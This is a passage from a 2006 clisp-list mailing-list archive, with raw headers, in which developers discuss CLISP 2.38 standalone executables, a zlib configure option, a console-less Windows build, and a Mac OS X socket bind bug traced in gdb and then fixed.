10.7.209.16 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: release 2.38 - standalone executable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 25 07:46:13 2006 X-Original-Date: Wed, 25 Jan 2006 18:45:12 +0300 Sam Steingold writes: >> BTW Is there a way to disable normal command-line processing (so that >> all arguments are just stored in EXT:*ARGS*) ? Haven't seen it in >> documentation, though it makes sense for standalone executables. > > look for "init-function" in > http://clisp.cons.org/impnotes/image.html The arguments are processed before init-function is called, so that doesn't help. It would be possible to CUSTOM:*INIT-HOOKS* as a workaround if ext:*args* were initialized before calling the hooks, but it is not the case. -- With regards, Roman. From sds@gnu.org Wed Jan 25 08:16:16 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1nJd-0008VX-5f for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 08:16:13 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1nJX-0001FN-2I for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 08:16:10 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.143]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0PGFWn4018741; Wed, 25 Jan 2006 11:15:33 -0500 (EST) To: clisp-list@lists.sourceforge.net, Roman Belenov Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Roman Belenov's message of "Wed, 25 Jan 2006 18:45:12 +0300") References: <20060124221217.65625.qmail@web32003.mail.mud.yahoo.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Roman Belenov Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: release 2.38 - standalone executable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 25 08:17:03 2006 X-Original-Date: Wed, 25 Jan 2006 11:14:50 -0500 > * Roman Belenov [2006-01-25 18:45:12 +0300]: > > Sam Steingold writes: > >>> BTW Is there a way to disable normal command-line processing (so that >>> all arguments are just stored in EXT:*ARGS*) ? Haven't seen it in >>> documentation, though it makes sense for standalone executables. >> >> look for "init-function" in >> http://clisp.cons.org/impnotes/image.html > > The arguments are processed before init-function is called, so that > doesn't help. It would be possible to CUSTOM:*INIT-HOOKS* as a > workaround if ext:*args* were initialized before calling the hooks, > but it is not the case. I don't understand what you want. suppose you want your program to add its arguments. you do this: $ clisp -norc -x '(saveinitmem "adder" :executable t :norc t :quiet t :init-function (lambda () (print (reduce (function +) ext:*args* :key (function read-from-string))) (ext:exit)))' $ ./adder "" 1 2 3 4 10 $ -- Sam Steingold (http://www.podval.org/~sds) running w2k http://ffii.org http://www.mideasttruth.com http://www.camera.org http://www.memri.org http://www.openvotingconsortium.org http://pmw.org.il Professionalism is being dispassionate about your work. From pjb@informatimago.com Wed Jan 25 08:16:46 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1nK5-00007B-AO for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 08:16:41 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1nK2-0001nP-2W for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 08:16:41 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 30360585EF; Wed, 25 Jan 2006 17:16:23 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 3D03F585D4; Wed, 25 Jan 2006 17:16:18 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id EF5B28305; Wed, 25 Jan 2006 17:16:17 +0100 (CET) From: Pascal Bourguignon To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Reply-To: Message-Id: <20060125161617.EF5B28305@thalassa.informatimago.com> X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY,UPPERCASE_25_50 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] zlib 1.2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 25 08:17:10 2006 X-Original-Date: Wed, 25 Jan 2006 17:16:17 +0100 (CET) Hello! It seems to me there's a bug in configure or in the INSTALL documentation: Using ./configure --with-${LIBRARY}-prefix=/some/path is not enough to have it find a library. I've installed zlib 1.2 (with --prefix=/usr/local) in /usr/local. Then I try to compile clisp (2.35 - 2.38) with ./configure --with-zlib-prefix=/usr/local ... -with-module=zlib but it keeps complaining about zlib: checking for unistd.h... (cached) yes checking zlib.h usability... yes checking zlib.h presence... yes checking for zlib.h... yes configure: * ZLIB (Functions) checking for library containing compress2... -lz checking for compressBound... no configure: error: ZLIB version 1.2 or better is required make: *** [zlib] Error 1 [pjb@thalassa clisp-2.38]$ grep 'define ZLIB_VERSION' /usr/local/include/zlib.h #define ZLIB_VERSION "1.2.3" [pjb@thalassa clisp-2.38]$ echo $LD_LIBRARY_PATH /local/apps/rvplayer5.0:/usr/lib/Real:/usr/local/lib:/usr/lib:/opt/kde/lib:/opt/kde2/bin:/opt/gnome/lib:/lib I need to add: export LDFLAGS=-L/usr/local/lib to have it find it. #!/bin/bash version=$(awk -F= '/PACKAGE_VERSION=/{print substr($2,2,index($2," ")-2);}' ./src/configure) rm -rf /tmp/clisp-${version}-build/ export LDFLAGS=-L/usr/local/lib time ./configure \ --prefix=/usr/local/languages/clisp-${version} \ --with-zlib-prefix=/usr/local \ $(for m in \ zlib \ bindings/glibc \ clx/new-clx \ pcre \ rawsock \ regexp \ syscalls \ wildcard \ ; do \ if expr match "$m" 'i18n\|regexp\|syscalls' >/dev/null;\ then true already there ;\ else echo -n "--with-module=$m " ;\ fi ; done) \ --build /tmp/clisp-${version}-build \ --install With this command 2.38 successfully compiles on Linux 2.4.26, Athlon 1200 MHz 1GB RAM, in: 650.35user 76.08system 15:25.88elapsed 78%CPU (0avgtext+0avgdata 0maxresident)k 0inputs+0outputs (3279053major+5080629minor)pagefaults 0swaps LISP-IMPLEMENTATION-TYPE "CLISP" LISP-IMPLEMENTATION-VERSION "2.38 (2006-01-24) (built 3347193361) (memory 3347193797)" SOFTWARE-TYPE "gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -L/usr/local/lib -x none libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl -L/usr/local/lib -lsigsegv -lc -L/usr/X11R6/lib -lX11 SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.2 libreadline 4.3" SOFTWARE-VERSION "GNU C 3.3 20030226 (prerelease) (SuSE Linux)" MACHINE-INSTANCE "thalassa.informatimago.com [62.93.174.79]" MACHINE-TYPE "I686" MACHINE-VERSION "I686" *FEATURES* (:COM.INFORMATIMAGO.PJB :ASDF-INSTALL :SPLIT-SEQUENCE :ASDF :WILDCARD :RAWSOCK :PCRE :CLX-ANSI-COMMON-LISP :CLX :ZLIB :READLINE :REGEXP :SYSCALLS :I18N :LOOP :COMPILER :CLOS :MOP :CLISP :ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :FFI :GETTEXT :UNICODE :BASE-CHAR=CHARACTER :PC386 :UNIX) -- __Pascal Bourguignon__ http://www.informatimago.com/ COMPONENT EQUIVALENCY NOTICE: The subatomic particles (electrons, protons, etc.) comprising this product are exactly the same in every measurable respect as those used in the products of other manufacturers, and no claim to the contrary may legitimately be expressed or implied. From marko.kocic@gmail.com Wed Jan 25 08:21:28 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1nOi-0000h5-52 for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 08:21:28 -0800 Received: from zproxy.gmail.com ([64.233.162.204]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1nOh-0005DG-PL for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 08:21:28 -0800 Received: by zproxy.gmail.com with SMTP id z3so126978nzf for ; Wed, 25 Jan 2006 08:21:10 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=G48BRuoNJLxhOpseyAalQkF+ANP0qk5UsmslSl0mBQHX6eLFoV60Z3RRWTnklwq4nUtdq5bPJ1ShDc6QqXXf+eOGwuX//KeqrTjpz/teh3Bj3dF71lYqoQKDeewHZXnuilGdS5L59AzcPm4siTSQodMo5ICNjMZP1kWI4+ndJ54= Received: by 10.36.158.12 with SMTP id g12mr628071nze; Wed, 25 Jan 2006 08:21:09 -0800 (PST) Received: by 10.36.127.16 with HTTP; Wed, 25 Jan 2006 08:21:09 -0800 (PST) Message-ID: <9238e8de0601250821j1d7b0b97g@mail.gmail.com> From: =?UTF-8?Q?Marko_Koci=C4=87?= To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: base64 Content-Disposition: inline References: <9238e8de0601241329yda3c62p@mail.gmail.com> <9238e8de0601250137y174b50a4l@mail.gmail.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Re: Wrong version number Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 25 08:22:02 2006 X-Original-Date: Wed, 25 Jan 2006 17:21:09 +0100 VGhhbmtzLApidHcsIGlzIHZlcnNpb24gd2l0aCByZWFkbGluZSAob25lIHRoYXQgWWFyb3NsYXYg aXMgYnVpbGRpbmcpIGdvaW5nIHRvCmJlIGF2YWlsYWJsZSBmb3Igd2luZG93cyBwbGF0Zm9ybT8K From fb@frank-buss.de Wed Jan 25 08:39:53 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1ngR-0002US-Q7 for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 08:39:47 -0800 Received: from smtp3.netcologne.de ([194.8.194.66]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1ngN-0006Lk-7z for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 08:39:47 -0800 Received: from galilei (xdsl-84-44-131-159.netcologne.de [84.44.131.159]) by smtp3.netcologne.de (Postfix) with ESMTP id A257A67553 for ; Wed, 25 Jan 2006 17:39:30 +0100 (CET) From: "Frank Buss" To: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.6353 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 Thread-Index: AcYhzesn/t31gY0ST6CY+0fAn2LIjg== Message-Id: <20060125163930.A257A67553@smtp3.netcologne.de> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] CLISP standalone version Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 25 08:40:03 2006 X-Original-Date: Wed, 25 Jan 2006 17:39:32 +0100 Thanks for the new executable keyword, now only some minor patches are need for a console-less application. Looks like there is some magic from MinGW or Windows, which maps the WinMain-char* argument to the main-arguments, when no WinMain function is supplied, but when it is compiled with the -mwindows compiler switch, so the patch is much shorter now. I've updated my CLISP build page: http://www.frank-buss.de/lisp/clab/trunk/clisp/index.html What do you think about generating an additional package "full-gui", or something like this for the Windows release, where this patch is applied, parallel to "full" and "base"? Of course, after fixing my stdout/in/err hacks, because console-less applications can use these handlers, too, when started from command prompt with redirecting files or when executed from another application with using pipes, but currently not with CLISP with my patch. -- Frank Buss, fb@frank-buss.de http://www.frank-buss.de, http://www.it4-systems.de From sds@gnu.org Wed Jan 25 08:40:23 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1nh1-0002YN-01 for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 08:40:23 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1ngv-0006kJ-Gz for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 08:40:23 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.143]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0PGdPgQ019895; Wed, 25 Jan 2006 11:39:41 -0500 (EST) To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20060125161617.EF5B28305@thalassa.informatimago.com> (Pascal Bourguignon's message of "Wed, 25 Jan 2006 17:16:17 +0100 (CET)") References: <20060125161617.EF5B28305@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: zlib 1.2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 25 08:41:03 2006 X-Original-Date: Wed, 25 Jan 2006 11:38:36 -0500 > * Pascal Bourguignon [2006-01-25 17:16:17 +0100]: > > Using ./configure --with-${LIBRARY}-prefix=/some/path is not enough to > have it find a library. yes it is. > I've installed zlib 1.2 (with --prefix=/usr/local) in /usr/local. > > Then I try to compile clisp (2.35 - 2.38) > with ./configure --with-zlib-prefix=/usr/local ... -with-module=zlib > but it keeps complaining about zlib: zlib names the package, not the library. try "--with-libz-prefix=/usr/local" instead. this option is added by AC_LIB_LINKFLAGS([z]) so all further inquiries should be directed to the autoconf maintainers. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://truepeace.org http://www.memri.org http://ffii.org http://www.iris.org.il http://www.mideasttruth.com http://www.savegushkatif.org I haven't lost my mind -- it's backed up on tape somewhere. From lstaflin@gmail.com Wed Jan 25 09:34:59 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1oXq-0007ID-Vp for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 09:34:59 -0800 Received: from zproxy.gmail.com ([64.233.162.194]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1oXq-0006w1-JN for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 09:34:59 -0800 Received: by zproxy.gmail.com with SMTP id z3so145525nzf for ; Wed, 25 Jan 2006 09:34:47 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:mime-version:in-reply-to:references:content-type:message-id:content-transfer-encoding:from:subject:date:to:x-mailer:sender; b=joblHd+Mw0/r0+aI0aikAZlnZyZa9r5RKDmC+hnR+ons1xVajYmH1VpiNMT/LwQt+TtHkxciECm1PrhqIbUm27CkZ+D2PJr4R8ItfG8t+cKQ6Z263hOJA5RqiyNWW7z0/vjpS7lnujh3670aDcuJw5Dhfu3dXXlWcc9d65YspmE= Received: by 10.64.242.11 with SMTP id p11mr472693qbh; Wed, 25 Jan 2006 09:34:47 -0800 (PST) Received: from ?82.212.74.78? ( [82.212.74.78]) by mx.gmail.com with ESMTP id e17sm508379qbe.2006.01.25.09.34.43; Wed, 25 Jan 2006 09:34:46 -0800 (PST) Mime-Version: 1.0 (Apple Message framework v623) In-Reply-To: References: Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <14de5f40b3b4433290c6c642827cd21b@lysator.liu.se> Content-Transfer-Encoding: 7bit From: Lennart Staflin Subject: Re: [clisp-list] mac os x socket problems and 2.38 To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.623) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 25 09:35:10 2006 X-Original-Date: Wed, 25 Jan 2006 18:34:36 +0100 On 17 jan 2006, at 15:20, Sam Steingold wrote: > clisp 2.37 has a bug on open :if-exists :append, so I want to release > 2.38 ASAP. > the only blocker is the mac os x socket bug. > it has been reported that this bug was not present in 2.36, so the > brute > force "fill everything with 0" patch will NOT go in. > since the mac os x SF CF hosts are dead, I cannot debug this. > it is up to you, the mac os x users, to close this issue. > what you have to do is: > > 1. make sure that it was the Dec 19 > "(SOCKET-SERVER): accept keywords :INTERFACE :BACKLOG" > patch that broke mac os x > > 2. find out why it fails (using, e.g., strace). specifically, > (socket-server) and (socket-server 3456) - do they work or fail on > 2.37 and 2.36? what are the traces (around the failed calls and the > corresponding sucessful calls) > > it is up to you to ensure that sockets work on your system in clisp > 2.38. > OK, clisp 2.38 has been released with out this resolved, just as I am getting enough compute cycles to perhaps get to the bottom of this. 1. Indeed before the addition of :INTERFACE etc, the socket-server code worked. And after it didn't. I have looked at the call to bind in gdb in both instances and the difference is that before it tried to bind to address 0 (0.0.0.0) and after it is binding to 127.0.0.1. And with the non zero address bind fails. I verified this by setting it to zero in the debugger and stepping past bind. (gdb) print ({struct sockaddr_in} addr).sin_addr.s_addr=0 I found this interesting comment in the OpenMCL source: ;; Darwin includes the SIN_ZERO field of the sockaddr_in when ;; comparing the requested address to the addresses of configured ;; interfaces (as if the zeros were somehow part of either address.) ;; "rletz" zeros out the stack-allocated structure, so those zeros ;; will be 0. I tried instead of setting sin_addr to zero, I zeroed sin_zero: (gdb) print ({struct sockaddr_in} addr).sin_zero="\0\0\0\0\0\0\0" That worked to, with 127.0.0.1 in sin_addr. Perhaps it is like this: If the bind address is 0 (i.e. the any address) it is accepted directly. If the address is not 0, the list of interfaces is scanned to find a matching interface and when comparing the sin_zero part of the struct is included (perhaps that part is used for ipv6?). I'm not sure if this is documented. But clearing sin_zero seems reasonable. 2. Given the above, (socket-server 0 :interface "0.0.0.0") should work. But it doesn't. I looked at the code for socket-server in stream.d and it looks strange to me. It seems that if interface is specified as a string, create_server_socket_by_string will be called twice. The second time with "127.0.0.1" hardcoded as the address and also leaking the socket from the first call. Perhaps I am misreading the code, but it looks wrong to me. //Lennart Staflin From sds@gnu.org Wed Jan 25 10:43:13 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1pbs-0005Cf-Vr for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 10:43:12 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1pbq-0007Wb-J8 for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 10:43:13 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.143]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0PIgUr1025877; Wed, 25 Jan 2006 13:42:30 -0500 (EST) To: clisp-list@lists.sourceforge.net, Lennart Staflin Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <14de5f40b3b4433290c6c642827cd21b@lysator.liu.se> (Lennart Staflin's message of "Wed, 25 Jan 2006 18:34:36 +0100") References: <14de5f40b3b4433290c6c642827cd21b@lysator.liu.se> Mail-Followup-To: clisp-list@lists.sourceforge.net, Lennart Staflin Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: mac os x socket problems and 2.38 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 25 10:44:01 2006 X-Original-Date: Wed, 25 Jan 2006 13:41:48 -0500 > * Lennart Staflin [2006-01-25 18:34:36 +0100]: > > 2. Given the above, (socket-server 0 :interface "0.0.0.0") should > work. But it doesn't. I looked at the code for socket-server in > stream.d and it looks strange to me. It seems that if interface is > specified as a string, create_server_socket_by_string will be called > twice. The second time with "127.0.0.1" hardcoded as the address and > also leaking the socket from the first call. Perhaps I am misreading > the code, but it looks wrong to me. thanks, I just fixed this bug in the CVS -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.dhimmi.com http://www.savegushkatif.org http://www.camera.org http://www.memri.org http://www.iris.org.il Sex is like air. It's only a big deal if you can't get any. From sds@gnu.org Wed Jan 25 10:47:28 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1pg0-0005X0-Ez for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 10:47:28 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1pfx-00011g-G1 for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 10:47:28 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.143]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0PIksVp026009; Wed, 25 Jan 2006 13:46:55 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Frank Buss" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20060125163930.A257A67553@smtp3.netcologne.de> (Frank Buss's message of "Wed, 25 Jan 2006 17:39:32 +0100") References: <20060125163930.A257A67553@smtp3.netcologne.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Frank Buss" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: CLISP standalone version Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 25 10:48:03 2006 X-Original-Date: Wed, 25 Jan 2006 13:46:05 -0500 > * Frank Buss [2006-01-25 17:39:32 +0100]: > > Thanks for the new executable keyword, now only some minor patches are > need for a console-less application. Looks like there is some magic > from MinGW or Windows, which maps the WinMain-char* argument to the > main-arguments, when no WinMain function is supplied, but when it is > compiled with the -mwindows compiler switch, so the patch is much > shorter now. I've updated my CLISP build page: > > http://www.frank-buss.de/lisp/clab/trunk/clisp/index.html > > What do you think about generating an additional package "full-gui", > or something like this for the Windows release, where this patch is > applied, parallel to "full" and "base"? Of course, after fixing my > stdout/in/err hacks, because console-less applications can use these > handlers, too, when started from command prompt with redirecting files > or when executed from another application with using pipes, but > currently not with CLISP with my patch. I don't quite understand how you are going to use the console-less CLISP. it will not have stdio, so it will have to do all interaction over a GUI. it appears that detaching from the console is all you want and I see no reason not to do it at run time. what does -mwindows do, exactly? -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.savegushkatif.org http://www.iris.org.il http://www.jihadwatch.org http://truepeace.org http://www.mideasttruth.com http://www.memri.org Linux - find out what you've been missing while you've been rebooting Windows. From lstaflin@gmail.com Wed Jan 25 11:08:20 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1q0C-0007CK-AC for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 11:08:20 -0800 Received: from zproxy.gmail.com ([64.233.162.194]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1q0C-0004K5-0t for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 11:08:20 -0800 Received: by zproxy.gmail.com with SMTP id z3so168726nzf for ; Wed, 25 Jan 2006 11:08:19 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:mime-version:content-transfer-encoding:message-id:content-type:to:from:subject:date:x-mailer:sender; b=mkn7MckJef+0LPJNQgCT+Qy+UJ5Re8SYLbk3jicmLD3SwrJb9Xfj4Ww6yVsa4A6286JmsdUJnIeJfU5Nvi1RpeHwLBZ2/BEmJSKBaqdjqin2qN46c3SYrtm/dMcqbJCS8+B95E+MJAo1IOWJngjqc51/hFDdl+XDEjv8+dHc5ps= Received: by 10.64.148.7 with SMTP id v7mr499622qbd; Wed, 25 Jan 2006 11:08:18 